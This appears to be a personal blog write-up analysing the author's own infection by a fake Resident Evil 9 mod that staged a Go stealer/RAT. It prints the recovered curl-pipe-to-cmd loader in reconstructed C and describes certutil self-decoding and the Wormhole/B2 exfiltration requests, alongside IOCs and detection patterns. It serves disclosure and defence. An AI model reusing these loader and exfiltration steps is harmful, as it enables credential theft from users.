juliangrtz.me

I Installed a Fake Resident Evil Mod and Got Pwnd

Wed Jun 17, 2026

This is a write-up about a real compromise of my Windows 11 PC.

I usually write about reverse engineering from the comfortable side of the table: crackmes, iOS reversing tricks, anti-debugging, decompilers, Frida, IDA, that kind of stuff. This time the target was not a crackme and the sample was not something I downloaded from MalwareBazaar for fun. I installed what looked like a harmless REFramework / Resident Evil 9 mod on GitHub and ended up with a professionally crafted, staged infostealer/RAT infection that had been running on my host for about two weeks. Over 400 passwords from my browser have been stolen. Yeah, I’m an idiot.

The final payload, an injected Golang PE, has the following hashes:

SHA256  EDCCE8F1DA6AC154A0E4D6FA1B4DFA4F06122E77951EA4A54C0BA91A174C5FF2
MD5     A5FFE2141E12DC1F7E0A844FA51BD0CC
SHA1    E3007DFEB3D3D0D7B232200AF409AF387F20441D

I’ve already uploaded the payload to MalwareBazaar: https://bazaar.abuse.ch/sample/edcce8f1da6ac154a0e4d6fa1b4dfa4f06122e77951ea4a54c0ba91a174c5ff2

Alas, that does not magically identify the person behind the keyboard. But it gives the malware campaign a much clearer lead than I had when I first stared at a suspicious dllhost.exe process consuming large amounts of RAM and CPU like an absolute buffoon.

This post is intentionally long. I want to document what happened, what I could prove, what I could not prove, and what still bothers me.

A Short Disclaimer

This is malware analysis and incident-response documentation.

The URLs and commands in this post are defanged where appropriate. Do not run samples, do not visit live malware infrastructure, and do not pipe random remote scripts into your shell. That last one is obvious, but apparently it still needs to be said because this entire story starts with a loader doing exactly that.

How I Noticed Something Was Wrong

The thing that started the whole investigation was a process like this:

dllhost.exe --obf-args 661d39de5c9864ef35f3974309b214c53f5c69dc...

The argument was a long high-entropy hex blob. The process also had high CPU usage and roughly 2.5 GB of RAM allocated.

I would still be infected if I hadn’t noticed this process.

At first, the obvious question was whether this was some COM surrogate weirdness, a broken Windows component, or malware pretending to be a normal Windows process. dllhost.exe is commonly abused exactly because it looks boring at first glance. The command-line argument made the answer pretty clear: something malicious was using a signed Microsoft binary as a host or wrapper.

The first feeling was not “nice, a sample to reverse”. It was more like:

Great. My host is infected.

The uncomfortable part was the timeline. The infection artifacts went back to 2026-06-04. I noticed the active suspicious process too late.

Root Cause

The root cause was a fake game mod for Resident Evil 9 that allows you to skip chapters in the game. It seemed useful to be because I’m developing mods for this game using REFramework.

The lure was a GitHub repository with 0 forks and 0 stars:

github[.]com/AlwanAbbas/RE9-SkipChapters

It’s already taken down because I reported it. Here’s a screenshot made before its removal:

Stage 1

The malicious release was:

Chapter.Skip.zip
SHA256 861AE8B9A0E41A82E47DCC7B590A811CCDBBB4784E9C055628EBA64584881499
Created 2026-06-04 12:30:07 local time

Inside that archive was:

ChapterSkip.dll
SHA256 C792B19826BE17FAA3164C5A77D42DCC07002080B690C8527F73C1CF000880EA

The name made sense for a mod. The behavior did not.

Static analysis of the DLL recovered a command equivalent to:

cmd.exe /c curl hxxps://nomgwenya[.]co[.]za/js/settings?win=25 | cmd

The command was executed as follows:

HMODULE k32 = LoadLibraryA("kernel32.dll");

CreatePipe_p = GetProcAddress(k32, "CreatePipe");
SetHandleInformation_p = GetProcAddress(k32, "SetHandleInformation");
CreateProcessA_p = GetProcAddress(k32, "CreateProcessA");
ReadFile_p = GetProcAddress(k32, "ReadFile");
CloseHandle_p = GetProcAddress(k32, "CloseHandle");
WaitForSingleObject_p = GetProcAddress(k32, "WaitForSingleObject");

CreatePipe(&read_pipe, &write_pipe, &inheritable_sa, 0);
SetHandleInformation(read_pipe, HANDLE_FLAG_INHERIT, 0);

STARTUPINFOA si = {0};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdOutput = write_pipe;
si.hStdError = write_pipe;

PROCESS_INFORMATION pi = {0};

CreateProcessA(
    NULL,
    "cmd.exe /c curl hxxps://nomgwenya[.]co[.]za/js/settings?win=25 | cmd",
    NULL,
    NULL,
    TRUE,                  // inherit handles
    CREATE_NO_WINDOW,      // 0x08000000
    NULL,
    NULL,
    &si,
    &pi
);

CloseHandle(write_pipe);
ReadFile(read_pipe, output_buffer, 4095, &bytes_read, NULL);
WaitForSingleObject(pi.hProcess, INFINITE);

Obviously, the malicious URL was obfuscated in colorful ways.

There we go. A supposed game mod pulled a remote batch file and piped it straight into cmd.exe.

That is the point where this stopped being “maybe suspicious” and became “confirmed malicious”.

Timeline

These are the important dates from the local evidence and later analysis.

2026-06-04 12:30
  Chapter.Skip.zip is downloaded.

2026-06-04 12:32
  Persistent Python payload tree appears under my user profile.

2026-06-14 14:58
  A second temp Python staging tree appears with the same exec.py hash.

2026-06-15 (!)
  Suspicious dllhost.exe --obf-args process is noticed.

2026-06-15 / 2026-06-16
  Active malicious processes are killed, persistence is removed, samples are collected,
  and the Python / Go stages are recovered.

2026-06-16
  IDA, capa, dynamic harnessing, and VM debugging confirm major Go-stage behavior.

2026-06-17
  The recovered Go payload is correlated with MalwareBazaar.

The important part is the gap between 2026-06-04 and 2026-06-15. This was not a sample that detonated once and disappeared. The host had persistent malware for days.

The Infection Chain

At a high level, the chain looked like this:

Fake GitHub / mod release
  -> ChapterSkip.dll
    -> curl hxxps://nomgwenya[.]co[.]za/js/settings?win=25 | cmd
      -> vscode-bootstrap.cmd
        -> embedded JavaScript decoded with certutil
          -> portable Node.js if needed
            -> portable Python / PyArmor payload
              -> exec.py
                -> /go/boing
                  -> Go/cgo stealer/RAT loaded from memory

The chain is annoying because every stage looks slightly different:

  • a mod-looking DLL,
  • a batch file,
  • a fake certificate block,
  • Node.js,
  • an obfuscated JavaScript VM,
  • portable Python,
  • PyArmor,
  • an encoded /go/boing blob,
  • then finally a huge Go/cgo PE.

This is not the most advanced malware in the world, but it is not a one-liner script kiddie payload either. It is a proper staged commodity stealer/RAT chain.

Stage 1: The Abused Website

The first external stage was:

hxxps://nomgwenya[.]co[.]za/js/settings?win=25

The domain belongs to a real South African company, Nomgwenya Security Services. I have no evidence that they knowingly hosted malware. The more likely explanation is that their web server or CMS was compromised and used as a delivery point. I’ve reported the website and the malicious files are gone at the moment (2026-06-17).

Stage 2: The Bootstrap Batch

The recovered file was:

vscode-bootstrap.cmd
SHA256 C506E1A058E6D1EC3DF90BE91817619BC3BEE8A7806E34E5C1D169F999347808

The behavior was:

  1. Relaunch itself hidden through PowerShell.
  2. Check whether Node.js is available.
  3. If Node is missing, download the latest Node.js MSI from nodejs.org.
  4. Extract Node.js portably with msiexec /a.
  5. Change into %USERPROFILE%\.vscode.
  6. Decode its own embedded certificate-looking block with certutil.
  7. Run the decoded JavaScript with Node.
  8. Pass a long argument named REALTEKAUDIO.
  9. Delete the temporary JavaScript file.

The certificate trick is cute. The batch contains something that looks like this:

-----BEGIN CERTIFICATE-----
...
-----END CERTIFICATE-----

But the script does:

certutil -f -decode "%~f0" "%TMP_JS%"

So the “certificate” is just base64-wrapped JavaScript stored inside the same batch file.

The decoded embedded JavaScript was:

Embedded JavaScript VM
SHA256 FD022B5CDE7C1B1DD0A2ECE3FDD6876EE8DE81596581B72D46B8432D05DBCE27
Size   8410 bytes

The JavaScript was VM-obfuscated, not just minified. Its recovered imports included:

path
child_process
fs
os
https
zlib
url

Recovered high-signal strings included:

postprocesser[.]com/.well-known/pki-validation/go/python3.zip
%TEMP%\py.zip
%TEMP%\python3
pythonw.exe
exec.py
REALTEKAUDIO
PROCNAME
spawn
detached
ignore

So the JavaScript stage existed to get a portable Python environment and run a PyArmor-protected Python payload detached in the background.

The REALTEKAUDIO Value

One missing piece for a while was the exact REALTEKAUDIO value. The recovered .cmd fixed that.

Metadata:

Full REALTEKAUDIO argument length: 638
Full argument SHA256: E9A8A0065D22FD1816C2E0932EDCD4E3B505ED826E3D568C4119542B245958BC
Prefix: 25....VVRNfT
Base64 core length after sentinel: 632
Decoded length after sentinel: 474
Decoded blob SHA256: 6D7FAF99D01C875227F93424C3D07C7CFE940BD120CA54369192CBF1660C0AEC

The annoying part: the decrypted Python loader did not appear to consume REALTEKAUDIO directly. It does not reference the environment variable by name and it uses hardcoded /go/boing URLs.

IDA later confirmed that the recovered Go payload has startup/config logic for the ASCII token 25, matching the 25.... prefix. So there is a real link, but the 474-byte decoded blob still needs full semantic decoding.

Current interpretation:

  • REALTEKAUDIO is bootstrap/session/config material.
  • It is passed from batch to Node to the child process environment.
  • The Python loader itself does not need it to fetch /go/boing.
  • The Go stage recognizes the 25 startup/config marker.
  • The exact meaning of the rest of the decoded blob is still open.

Stage 3: Python, PyArmor, and In-Memory Loading

Two Python payload locations were found:

%LOCALAPPDATA%\Programs\Python\Python399\python3
%TEMP%\python3

The persistent tree was created on:

2026-06-04 12:32:25 local time

The temp tree appeared later on:

2026-06-14 14:58:02 local time

Both contained the same protected Python payload:

exec.py
SHA256 6FF4C76B33D43B6B7CC6714DB30EB10EE4C2B79430F7B4ACCBA04AB49B62BE76

And the Python ZIP:

py.zip / python3.zip
SHA256 6D9379E365A4DA282531D7F234C69EEFA48567C01BA173B462E907A1DDFC71B2

The Python tree contained modules that immediately looked bad:

pyarmor_runtime_000000\pyarmor_runtime.pyd
pythonmemorymodule
windows\injection.py
windows\crypto\dpapi.py
windows\winobject\registry.py
windows\winobject\task_scheduler.py

That combination says a lot:

  • PyArmor for protection,
  • memory loading,
  • Windows injection helpers,
  • DPAPI helpers,
  • registry helpers,
  • scheduled task helpers.

The loader disabled TLS verification and fetched /go/boing from two domains:

hxxps://postprocesser[.]com/.well-known/pki-validation/go/boing
hxxps://cosmoplanets[.]net/.well-known/pki-validation/go/boing

The decoding path was:

character ordinal - 4
base64 decode
LZMA decompress

That produced the big Go PE.

Stage 4: The Go Payload

Recovered payload:

File name on MalwareBazaar: go_payload.exe
SHA256: EDCCE8F1DA6AC154A0E4D6FA1B4DFA4F06122E77951EA4A54C0BA91A174C5FF2
SHA3-384: 8F45554A6991D14A7A7023512C88A73EC9024FCD6418C39410710C6030349A9E0EAD56D54CE4D9CE7513639C4D66E83C
SHA1: E3007DFEB3D3D0D7B232200AF409AF387F20441D
MD5: A5FFE2141E12DC1F7E0A844FA51BD0CC
Size: 31,893,504 bytes
Type: PE32+ x86-64
Timestamp: 0 / 1970-01-01T00:00:00Z
Signature: unsigned

The file is a valid PE from offset zero:

MZ offset: 0
PE header: e_lfanew = 0x80
Image base: 0x140000000
Entrypoint RVA: 0x10f6
Subsystem: Windows GUI
Sections: 11

It has Go metadata:

Go buildinf: offset 20295714
runtime.g:   offset 21039215

Imports are sparse:

KERNEL32.dll
msvcrt.dll

So the import table is utterly useless. The behavior lives in heavily obfuscated Go code, Go metadata, decoded strings, and decompiler work.

MalwareBazaar Correlation

On 2026-06-17 I’ve uploaded the final Go payload to MalwareBazaar: https://bazaar.abuse.ch/sample/edcce8f1da6ac154a0e4d6fa1b4dfa4f06122e77951ea4a54c0ba91a174c5ff2

Public Overlap

This chain overlaps with public reporting in interesting ways.

The ComfyUI issue about malicious “Upscaler_4K” custom nodes describes Akira Stealer, a Windows-only modular Golang infostealer, and lists overlapping indicators:

hxxps://postprocesser[.]com/.well-known/pki-validation/go/python3.zip
hxxps://cosmoplanets[.]net/.well-known/pki-validation/go/python3.zip
hxxps://postprocesser[.]com/.well-known/pki-validation/go/boing
hxxp://ip-api[.]com/json
hxxps://store-eu-par-1[.]gofile[.]io/contents/uploadfile

Abstract Security also published a report about VS Code / Cursor task infection chains where they discuss a near-identical loader pattern involving nomgwenya[.]co[.]za, postprocesser[.]com, a certificate-wrapped JavaScript payload, portable Node.js, python3.zip, exec.py, REALTEKAUDIO, and PROCNAME.

The interesting part is that Abstract explicitly warns this may be a copycat or test rather than confirmed Contagious Interview activity, because the chain leads to Akira Stealer. That matches my current position: strong technical overlap, but do not overclaim attribution.

Startup Modes and Why Direct Execution Looked Weird

Running the recovered Go payload directly as a plain EXE was misleading. It did not behave like a simple “run and steal” binary.

IDA debugger work showed that the dispatcher expects structured modes:

--wd
--id
25
5

Important dynamic result:

25 by itself is not the collection mode.
--id 5 and --id 25 reach browser/profile collection.
--wd is a separate watchdog/downloader mode.

The dynamic path for --id 5 and --id 25 was:

main dispatcher
  -> browser/profile collection
    -> watchdog /go/boing fetch
      -> reflective PE loader

The Go stage has its own reflective PE loader. So the Python stage can memory-load the Go stage, and the Go stage itself can fetch and memory-load another /go/boing body.

That explains why early sandbox-style runs looked strangely quiet. The binary expects loader context and mode arguments.

What the Go Payload Does

Based on strings, Go metadata, IDA function naming, dynamic breakpoints, and decompiler work, the Go payload implements:

  • browser password and cookie collection,
  • Chromium-family master-key handling,
  • Firefox profile handling,
  • browser history, downloads, autofill, and card collection,
  • wallet and seed/private-key targeting,
  • Discord / Telegram / Steam / application collection,
  • local file grabbing,
  • anti-VM and anti-analysis checks,
  • persistence and relaunch logic,
  • encrypted room/session C2,
  • dynamic upload authorization,
  • hVNC-style remote-control functionality,
  • webcam-capable streaming code paths,
  • a watchdog/updater and reflective loader path.

The payload is broad. It is designed to grab whatever looks useful.

Browser Theft

The browser functions I identified included:

browser_RunAllProfileCollection
browser_RunChromiumCollection
browser_RunFirefoxCollection
browser_OpenOrCopyProfileDB_common
browser_GetMasterKey_chromium_like
browser_GetLogins_chromium_like
browser_GetCookies_chromium_or_firefox
browser_GetCreditCards
browser_GetDownloads_chromium_like
browser_GetHistory
browser_GetAutofills
browser_GetMasterKey_firefox_like
browser_GetLogins_firefox_like

Recovered strings included:

json:"os_crypt"
json:"encrypted_key"
json:"encryptedUsername"
json:"encryptedPassword"
json:"logins"
Cookies
History
key4.db
Browser.sqlite
leveldb

Targets included Edge, Chrome, Brave, Opera, OperaGX, Vivaldi, Firefox, Yandex, CocCoc, Thorium, Iridium, Maxthon, and others.

One question I had early was whether Edge data was really exposed, because Edge passwords are encrypted.

The answer is: yes, treat it as exposed.

Browser encryption is useful against a different threat model. It helps if someone copies raw files offline or another local user tries to read them. It is not a strong boundary against malware already running as the logged-in Windows user.

The malware ran in my user context. It had browser-specific decrypt paths. It had DPAPI-related helper code in the Python tree. It could copy profile databases. It could steal cookies. Cookies are often worse than passwords because they can represent already-authenticated sessions.

This does not prove every saved password was successfully uploaded. But it means the malware had the access needed to steal them.

Data Present on My Host

The system exposure pass found browser data on disk:

Edge Default:
  Saved logins: 427
  Cookie database: about 4.8 MB
  Autofill rows: 1434
  History URLs: 23563
  Downloads: 3330

Chrome Default:
  Saved logins: 2
  Cookies: 30
  History URLs: 11

Firefox default-release:
  Saved logins: 208
  Cookies: 26
  History URLs: 18

Other application/session stores existed too:

Discord LevelDB/session storage
Telegram Desktop tdata
Steam login/userdata
Signal config
WhatsApp package data
MetaMask Edge extension local storage
FileZilla site manager
SSH directory
Azure profile
GitHub CLI hosts.yml
Docker config
KeePass databases
PEM certificate/private-key files

That is the unpleasant part. I can be optimistic and say “maybe the collection failed”. But as an incident response position, that is not good enough.

The practical rule is:

If it was accessible to the infected Windows user, it was accessible to the malware.

Wallets, Crypto, and Files

The Go payload had wallet and crypto-related targeting:

Wallets
Coinomi
Exodus
atomic
ledger
trezor
phantom
binance
braavos
enkrypt
leather
safepal
iWallet
bitcoin
solana
seed
mnemo
private
keypair

It also embedded secp256k1-related code and BIP39-style wordlist material. That is exactly the kind of thing you expect in a stealer that wants wallet material, seeds, or private keys.

Document/file targets included:

.doc
.docx
.rtf
.xls
.xlsx
.ppt
.pptx
.odt
.pdf
.csv
.json
.jpg
.jpeg
.png
.gif
.webp
.ldb
.log

Again, not a narrow target. It grabs broadly.

hVNC and Webcam Capability

The Go stage contains hVNC-style functionality.

Identified pieces included:

screen capture
JPEG/MJPEG encoding
websocket/session handling
process launch
application launch
process kill
clipboard get/set
keyboard/mouse/scroll adjacent handling
webcam-capable FFmpeg / DirectShow route

High-signal strings:

/ws/cam
ffmpeg
dshow
video=
pipe:1
mjpeg
fps=30
res_w
res_h
scale

So yes, the payload has webcam-capable code.

But this is where wording matters. Capability is not proof of use.

The camera privacy history on my host after 2026-06-04 only showed:

2026-06-16 01:05:00 +02:00 -> 2026-06-16 01:05:09 +02:00
Microsoft.WindowsCamera_8wekyb3d8bbwe

That was my own Windows Camera app test, not malware.

I also did not find VM telemetry for /ws/cam, FFmpeg launch, dshow, video=, or camera-device use.

This does not mathematically disprove webcam access. But I also do not have evidence to claim it happened.

So the honest statement is:

The recovered payload has webcam/hVNC capability. I do not have local proof that the webcam route was triggered on my host.

Given the infection lasted eleven days, that is still uncomfortable.

C2, Wormhole, and Uploads

The C2/upload code was one of the most interesting parts.

Recovered functions included:

c2_ExfilSessionCoordinator
c2_CreateRoom
c2_MarkOnline
c2_UpdateRoom
exfil_GetB2UploadAuth
exfil_FinishUpload
c2_DeriveAuthToken
c2_DeriveMetaKey
c2_EncryptMetadata
c2_EncryptRecord

Static decoding later recovered:

wss://wormhole.app/websocket
https://wormhole.app/api

And these API paths:

%s/room/%s/b2/auth-upload
%s/room/%s/b2/finish-upload

The reconstructed upload flow:

  1. Create or join a Wormhole-style room/session.
  2. Use a writer token.
  3. Request B2 upload authorization:
POST https://wormhole.app/api/room/<room>/b2/auth-upload
Authorization: Bearer sync-v1 <writerToken>
Content-Type: application/json
Body: {"numTokens": 1}
  1. Receive a response containing:
[
  {
    "uploadUrl": "...",
    "authorizationToken": "..."
  }
]
  1. Upload the archive to the runtime uploadUrl.
  2. Call:
POST https://wormhole.app/api/room/<room>/b2/finish-upload

Important: the final archive upload URL is not a fixed hardcoded URL in the Go binary. It is returned dynamically by the upload-auth response.

We proved the API shape with a controlled no-upload probe using a throwaway room. The probe did not upload malware data. It only confirmed that the endpoint returns Backblaze-style uploadUrl and authorizationToken slots when called correctly.

In that throwaway probe, the upload URL prefix looked like:

hxxps://pod-000-1414-03.backblaze[.]com/b2api/v2/b2_upload_file/...

That does not mean my real infection used that exact URL. It only proves the mechanism.

The missing piece is the real runtime upload-auth response from my infection. Local telemetry did not capture it.

Did It Upload Anything?

This is the question everyone wants answered.

I can prove:

  • the malware ran,
  • persistence existed,
  • the payload had collection code,
  • suspicious processes were active,
  • browser credential libraries were loaded by a suspicious process,
  • upload-auth and finish-upload code exists,
  • Wormhole/B2-style upload flow exists.

I cannot prove:

  • the exact archive that was uploaded,
  • the exact runtime uploadUrl,
  • the exact files inside the archive,
  • a confirmed hit to the related public gofile upload IOC from local logs.

Why not?

Because the relevant local telemetry was not there anymore or was never enabled:

  • Windows Firewall connection logging was disabled.
  • DNS Client Operational logging was disabled.
  • DNS cache had aged out.
  • Bitdefender logs showed blocks for staging infrastructure, but not a confirmed gofile / store-eu-par upload event.
  • The VM dynamic runs were intentionally controlled and stopped before destructive upload paths.

So the correct position is boring but important:

I cannot prove the exact stolen archive. I still have to treat sensitive local data as exposed because the malware had the capability and opportunity to collect it.

The dllhost.exe Miner Suspicion

The original dllhost.exe --obf-args process had about 2.5 GB RAM and high CPU usage.

Earlier network notes also showed connections to IPs publicly associated with:

pool[.]hashvault[.]pro
185.84.98.5
185.84.98.85

pool.hashvault.pro:443 is a realistic Monero mining pool endpoint. The 2.5 GB memory footprint is also suspicious because RandomX mining needs a large dataset. XMRig documentation talks about roughly 2080 MB for the RandomX dataset per NUMA node, plus overhead.

That fits the observed process shape disturbingly well.

However, static searches in the recovered Go stealer did not find any expected miner strings…

So the current miner assessment is:

  • likely miner activity existed,
  • dllhost.exe was likely the host/wrapper,
  • the miner was probably a separate payload or module,
  • the recovered Go stealer is not proven to contain an embedded miner,
  • no wallet address or Stratum session was recovered.

My personal hypothesis is still that the operators may have looked at the host, decided it was not an especially valuable target, and let a miner run for profit. That is only a hypothesis. The evidence proves miner-like behavior, not operator thought process.

The best missing artifact would have been a memory dump of the 2.5 GB dllhost.exe process while it was still alive. I did not get that in time. Mistake.

Persistence

Confirmed persistence:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Display Driver Manager

Command:

"%LOCALAPPDATA%\Programs\Python\Python399\python3\pythonw.exe" "%LOCALAPPDATA%\Programs\Python\Python399\python3\exec.py"

The name is deliberately boring. Microsoft Display Driver Manager sounds like something Windows might have.

After killing the live chain and deleting the Run value, it did not immediately come back. StartupApproved\Run still had the orphaned entry, which is consistent with prior autorun persistence.

The Go payload also had scheduled-task/relaunch code paths, so removing one Run key is not something I would consider a full cleanup.

Process Names That Were Abused

The live behavior included suspicious Microsoft-signed host processes:

dllhost.exe --obf-args <hex>
charmap.exe --wd
calc.exe tunnel --url http://localhost:<port>

Important details:

  • the files on disk were Microsoft-signed,
  • the command lines were not normal,
  • calc.exe tunnel --url ... is not normal Calculator behavior,
  • charmap.exe loaded Firefox credential/crypto libraries:
nss3.dll
mozglue.dll
softokn3.dll
freebl3.dll

That last part is especially relevant. Loading Firefox NSS libraries from a suspicious host process is exactly the kind of thing you would expect from credential extraction.

What I Did So Far

The investigation ended up covering quite a bit:

Initial live response
  - Identified suspicious dllhost.exe process.
  - Killed malicious processes.
  - Removed the malicious Run key.
  - Preserved local artifacts.

Static analysis
  - Analyzed ChapterSkip.dll.
  - Recovered the curl | cmd command.
  - Recovered and analyzed vscode-bootstrap.cmd.
  - Decoded the embedded JavaScript VM.
  - Reconstructed the Python/PyArmor loader behavior.
  - Decoded /go/boing into the Go PE.
  - Ran GoReSym / IDA / string-context passes.
  - Annotated major Go functions.

Dynamic analysis
  - Built a Windows 11 VMware lab.
  - Ran controlled PyArmor fast-hook harnesses.
  - Allowed only selected network paths in controlled runs.
  - Used IDA and the Hex-Rays remote debugger.
  - Patched/bypassed anti-VM checks for debugger runs.
  - Confirmed --id and --wd startup modes.
  - Stopped before unsafe upload/webcam paths.

Capability analysis
  - Browser theft model.
  - Firefox/Chromium profile handling.
  - hVNC/webcam code paths.
  - Persistence and relaunch.
  - C2/session and Wormhole/B2 upload-auth.
  - Miner suspicion and HashVault correlation.

Reporting
  - Reported the malicious GitHub repository.
  - Prepared abuse reports for infrastructure.
  - Uploaded/correlated the Go payload with MalwareBazaar.
  - Wrote a cleaned analysis repository with IOCs and reports.

The most useful tools were the boring ones:

  • PowerShell,
  • IDA,
  • capa,
  • GoReSym-style metadata recovery,
  • custom Python/PowerShell harnesses,
  • careful logs.

The hard part was keeping track of which stage did what.

What Is Still Missing

There are still gaps :/

1. The Exact Runtime Upload URL

We know the upload-auth mechanism:

https://wormhole.app/api/room/<room>/b2/auth-upload

We know the response contains:

uploadUrl
authorizationToken

But we do not have the real upload-auth response from my infection. Without that response, we do not know the exact Backblaze upload URL used during the real run.

2. The Exact Uploaded Archive

This is the big one.

We do not have the stolen ZIP/archive. We can infer likely contents from code and local data, but we cannot say “this exact file was uploaded” unless we find telemetry, server-side evidence, or the archive itself.

3. The 474-Byte REALTEKAUDIO Blob

We know its hash and length. We know the prefix links to Go startup/config logic. We do not yet know every field inside the decoded blob.

That is still worth solving because it may contain campaign/session/routing information.

4. The Miner Payload

The miner evidence is strong but incomplete.

Missing:

memory dump of dllhost.exe
wallet address
Stratum messages
miner config
actual miner binary/module

5. Webcam Use

Missing:

process creation logs for ffmpeg/dshow/video=
network logs for /ws/cam
device-open telemetry
operator-session logs

6. Real Attribution

The chain overlaps with public Akira reporting. It also overlaps with loader patterns discussed in Contagious Interview research, while that research itself warns against over-attribution.

I do not know who operated this specific infection.

What I Think Happened

My current model:

  1. I installed the fake mod on 2026-06-04.
  2. The malicious DLL pulled the batch stage from the abused Nomgwenya site.
  3. The batch staged Node and decoded the JavaScript VM.
  4. The JavaScript VM staged portable Python/PyArmor.
  5. Python fetched /go/boing.
  6. /go/boing decoded to a Go/cgo Akira-style stealer/RAT.
  7. The malware persisted through a fake Microsoft-looking Run key.
  8. The stealer had access to browser/session/application data.
  9. At some point, the machine also showed miner-like dllhost.exe behavior connected to HashVault infrastructure.
  10. The miner was likely a separate payload or module, not embedded plainly inside the recovered Go stealer.

The part I cannot honestly answer is whether the attackers manually interacted with my host or simply ran automated collection and mining.

Nothing obvious happened to my accounts for eleven days. No password changes. No immediate account takeovers. I also never saw the webcam LED turn on. I do most banking on my phone. That lowers my gut-level fear of catastrophic hands-on abuse.

But it does not make the machine clean, and it does not make the data safe.

Detection Ideas

Process Command Lines

dllhost.exe --obf-args
charmap.exe --wd
calc.exe tunnel --url
pythonw.exe exec.py
python.exe exec.py
cmd.exe /c curl * | cmd
certutil -f -decode "%~f0"
msiexec /a *node-v*-x64.msi

Persistence

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Display Driver Manager
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\Microsoft Display Driver Manager

Files

%USERPROFILE%\.vscode\ChapterSkip.dll
%USERPROFILE%\.vscode\vscode-bootstrap.cmd
%TEMP%\py.zip
%TEMP%\python3\exec.py
%TEMP%\python3\pyarmor_runtime_*
%TEMP%\python3\pythonmemorymodule
%TEMP%\python3\windows\injection.py
%TEMP%\python3\windows\crypto\dpapi.py
%LOCALAPPDATA%\Programs\Python\Python399\python3\exec.py

Network

hxxps://nomgwenya[.]co[.]za/js/settings?win=25
hxxps://postprocesser[.]com/.well-known/pki-validation/go/python3[.]zip
hxxps://postprocesser[.]com/.well-known/pki-validation/go/boing
hxxps://cosmoplanets[.]net/.well-known/pki-validation/go/boing
hxxp://ip-api[.]com/json
hxxps://store-eu-par-1[.]gofile[.]io/contents/uploadfile
hxxps://wormhole[.]app/api
wss://wormhole[.]app/websocket
pool[.]hashvault[.]pro

Observed or related IPs:

185.84.98.5
185.84.98.85
51.75.242.210
162.159.138.232
104.21.92.55
172.67.186.209
172.67.206.54
188.114.96.1

Hashes

Chapter.Skip.zip
SHA256 861AE8B9A0E41A82E47DCC7B590A811CCDBBB4784E9C055628EBA64584881499

ChapterSkip.dll
SHA256 C792B19826BE17FAA3164C5A77D42DCC07002080B690C8527F73C1CF000880EA

vscode-bootstrap.cmd
SHA256 C506E1A058E6D1EC3DF90BE91817619BC3BEE8A7806E34E5C1D169F999347808

Embedded JavaScript VM
SHA256 FD022B5CDE7C1B1DD0A2ECE3FDD6876EE8DE81596581B72D46B8432D05DBCE27

py.zip / python3.zip
SHA256 6D9379E365A4DA282531D7F234C69EEFA48567C01BA173B462E907A1DDFC71B2

exec.py
SHA256 6FF4C76B33D43B6B7CC6714DB30EB10EE4C2B79430F7B4ACCBA04AB49B62BE76

Recovered Go stage / go_payload.exe
SHA256 EDCCE8F1DA6AC154A0E4D6FA1B4DFA4F06122E77951EA4A54C0BA91A174C5FF2
SHA1   E3007DFEB3D3D0D7B232200AF409AF387F20441D
MD5    A5FFE2141E12DC1F7E0A844FA51BD0CC

Lessons Learned

1. GitHub Is Not a Trust Boundary

Everyone knows this, but people still act differently when a project is on GitHub.

A repository can look normal. A release can look normal. A DLL can have a plausible mod name. None of that means it is safe.

2. Game Modding Is a Great Lure

Mod users are used to copying DLLs around, disabling warnings, and trusting random GitHub/Nexus links. That makes the ecosystem attractive for malware.

3. “The Browser Encrypts Passwords” Is Not Enough

It encrypts them for offline protection and local-user separation. It does not save you once malware runs as you.

4. Logging Defaults Are Bad

Firewall connection logging was off. DNS operational logging was off. Prefetch was not enough. Defender did not scream about the process injection behavior in a useful way.

If this had been an enterprise machine with Sysmon, EDR, DNS logs, and proxy logs, the upload question might have been answerable.

On a normal personal Windows box, you often find out too late that the evidence you wanted was never collected.

Remaining Questions For More Skilled Reverse Engineers

The questions I still want answered:

  • What exactly is inside the 474-byte decoded REALTEKAUDIO blob?
  • Was the final uploaded archive created successfully?
  • What was the real runtime uploadUrl during my infection?
  • Was the HashVault miner a separate payload fetched by the Go watchdog path?
  • Did dllhost.exe contain a miner in memory?
  • Is the Akira Stealer label precise for this exact payload, or just the closest public family name?
  • Who uploaded and operated the fake GitHub/Nexus mod?
  • Was the abused South African website compromised through a commodity web exploit, stolen credentials, or something else?

Some of these may never be answered. That is normal in incident response, but still annoying.

References

Final Thoughts

This incident was embarrassing, but useful.

It is very easy to talk about malware analysis as if every sample starts in a VM with a neat SHA-256 and a coffee next to IDA. Real incidents are messier. You notice a weird process, pull one thread, and suddenly you are looking at a two-week-compromise, browser profiles, PyArmor, Go metadata, Wormhole upload auth, and a probable Monero miner sitting in dllhost.exe.

The conclusion is that developer and modding workflows are high-trust environments. Attackers know that. They do not need a browser exploit if they can convince you to run their “helper”, “mod”, “task”, “custom node”, or “bootstrapper” yourself.

In my case, the lure was a fake Resident Evil mod…